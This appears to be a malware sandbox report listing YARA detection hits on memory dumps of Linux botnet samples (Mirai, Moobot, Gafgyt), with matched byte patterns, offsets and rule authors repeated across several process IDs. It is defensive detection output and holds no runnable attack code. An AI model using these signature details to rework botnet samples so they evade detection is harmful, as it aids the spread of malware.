7300.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7437.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7437.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7437.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7437.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7437.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7437.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6916.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6923.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7127.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6282.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6966.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7072.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7165.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6433.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6433.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6433.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6433.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6433.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6433.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7128.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7128.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7128.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7128.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7128.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7128.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7097.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7340.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7340.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7340.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7340.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7340.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7340.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6637.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6637.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6637.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6637.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6637.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6637.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
